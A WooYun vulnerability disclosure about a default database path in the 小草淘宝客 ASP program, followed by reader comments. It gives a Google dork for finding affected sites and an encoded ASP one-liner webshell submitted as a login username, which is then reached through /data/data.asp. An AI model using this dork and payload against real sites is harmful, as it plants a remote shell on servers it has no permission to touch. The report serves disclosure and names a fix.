当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-042547

漏洞标题：小草淘宝客程序数据库提交一句话

相关厂商：小草淘宝客

漏洞作者： 路人甲我来了

提交时间：2013-11-11 13:17

修复时间：2014-02-09 13:18

公开时间：2014-02-09 13:18

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：8

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-02-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

默认数据库可浏览 非http 500 提交变形一句话

详细说明：

Google inurl:goitem.asp?id=
默认数据库地址：/data/data.asp 可访问 非500错误 可提交变形一句话
提交方法
默认后台地址:admin
帐号: ┼攠數畣整爠煥敵瑳∨≡┩愾
密码: a
登录提示失败 然后连接data/data.asp即可 插马即成功

漏洞证明：

oday.png


oday2.png


ODAY3.png

修复方案：

修改默认数据库地址

版权声明：转载请注明来源 路人甲我来了@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2013-11-13 10:27 | 雷锋小号 ( 路人 | 还没有发布任何漏洞 | 乌云现在就缺我这种默默顶贴从来不求脸熟的...)

    乌云现在就缺我这种默默顶贴从来不求脸熟的雷锋

  2. 2014-02-09 14:05 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    这个漏洞好神奇啊

  3. 2014-02-09 16:21 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @VIP 我也感觉好神奇，登陆一下到底进了没，还有登陆一次账号密码尽然自动进数据库了？吓尿……（到底是提前加进去的一句话还是后来加的？还是随便登陆一次就写进去了？楼主敢不敢说的再清楚点）

  4. 2014-02-09 17:03 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    莫非data.asp文件是个数据库查询出错记录文件？这样推测拿shell方式……

  5. 2014-02-09 17:26 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安，不只保险这么简单。)

    八九年前很火。。。

  6. 2014-02-10 17:50 | ziwen ( 实习白帽子 | Rank:49 漏洞数:4 | 活着为了乐还是为了苦？)

    这种编码方式叫啥..

  7. 2014-02-23 20:29 | 路人甲我来了 ( 路人 | Rank:0 漏洞数:1 | 典型的路人甲 如何形容自己有多菜?)

    @小龙 @寂寞的瘦子 原理实际很简单 data.asp是数据库文件,但是程序会把登录错误的信息存到数据库里,因为后台管理有个查询日志功能,日志中直接包含了错误登录的帐号和密码...

  8. 2014-02-23 20:46 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    @路人甲我来了 那这个 ┼攠數畣整爠煥敵瑳∨≡┩愾是一种特殊的编码吗？求教

  9. 2014-02-23 21:00 | 轨迹 ( 路人 | Rank:5 漏洞数:3 | 321)

    ANSI->Unicode ？